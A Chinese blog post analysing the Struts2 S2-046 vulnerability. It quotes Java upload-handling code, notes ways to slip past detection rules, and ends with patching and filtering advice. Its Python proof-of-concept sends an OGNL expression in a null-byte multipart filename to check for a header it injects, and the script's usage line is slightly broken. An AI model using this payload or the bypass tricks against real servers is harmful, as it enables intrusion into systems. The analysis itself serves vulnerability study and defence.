S2-046漏洞调试及初步分析

### 免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负 ** 0x00 漏洞介绍 ** S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。 Content-Length 的长度值超长 Content-Disposition的filename存在空字节 0x01 漏洞分析 Content-Length 的长度值超长 这个漏洞需要在strust.xml中加入 才能触发。 触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。 ```java private void processUpload(HttpServletRequest request, String saveDir) throws Exception { // Sanity check that the request is a multi-part/form-data request. if (ServletFileUpload.isMultipartContent(request)) { // Sanity check on request size. boolean requestSizePermitted = isRequestSizePermitted(request); // Interface with Commons FileUpload API // Using the Streaming API ServletFileUpload servletFileUpload = new ServletFileUpload(); FileItemIterator i = servletFileUpload.getItemIterator(request); // Iterate the file items while (i.hasNext()) { try { FileItemStream itemStream = i.next(); // If the file item stream is a form field, delegate to the // field item stream handler if (itemStream.isFormField()) { processFileItemStreamAsFormField(itemStream); } // Delegate the file item stream for a file field to the // file item stream handler, but delegation is skipped // if the requestSizePermitted check failed based on the // complete content-size of the request. else { // prevent processing file field item if request size not allowed. // also warn user in the logs. if (!requestSizePermitted) { addFileSkippedError(itemStream.getName(), request); LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize); continue; } processFileItemStreamAsFileField(itemStream, saveDir); } } catch (IOException e) { e.printStackTrace(); } } } } ``` 触发点在 ``` LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize); ``` 之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName ```java private void addFileSkippedError(String fileName, HttpServletRequest request) { String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded."; FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize); String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize}); if (!errors.contains(message)) errors.add(message); } ``` Content-Disposition的filename存在空字节 第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。 ```java public static String checkFileName(String fileName) { if (fileName != null && fileName.indexOf('\u0000') != -1) { // pFileName.replace("\u0000", "\\0") final StringBuilder sb = new StringBuilder(); for (int i = 0; i < fileName.length(); i++) { char c = fileName.charAt(i); switch (c) { case 0: sb.append("\\0"); break; default: sb.append(c); break; } } throw new InvalidFileNameException(fileName, "Invalid file name: " + sb); } return fileName; } ``` 最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage ```java public void parse(HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (Exception e) { e.printStackTrace(); String errorMessage = buildErrorMessage(e, new Object[]{}); if (!errors.contains(errorMessage)) errors.add(errorMessage); } } ``` ** 0x02 规则添加注意点 ** 由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。 由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。 多个空格 多个空格,且里面可以添加\r\n n个空格 \0b不可当成检测字符,\0b可以被替换成\0000,\0a - \0z 等等。 ** 0x03 测试脚本 ** ```python #!/usr/bin/env python # coding:utf-8 import requests requests.packages.urllib3.disable_warnings() def poccheck(url): checkcode = False boundary="---------------------------735323031399963166993862150" paylaod="%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vuln-check-7088','0day5')}}'" headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''} data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--" try: response = requests.post(url, headers=headers,data=data,verify=False) if "vuln-check-7088" in response.headers: checkcode = url+" find struts2-46" except Exception as e: print str(e) return checkcode return checkcode if __name__ == '__main__': import sys if len(sys.argv) == 2: print poccheck(sys.argv[1]) else: print ("usage: %s http://0day5.com/vuln.action % sys.argv[0]) sys.exit(-1) ``` ** 0x04 防护建议 ** > 1.严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。 > 2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) > 3.使用pell、cos等其它multipart解析器 > 4.弃坑,使用SpringMV from:http://bobao.360.cn/learning/detail/3639.html

发表评论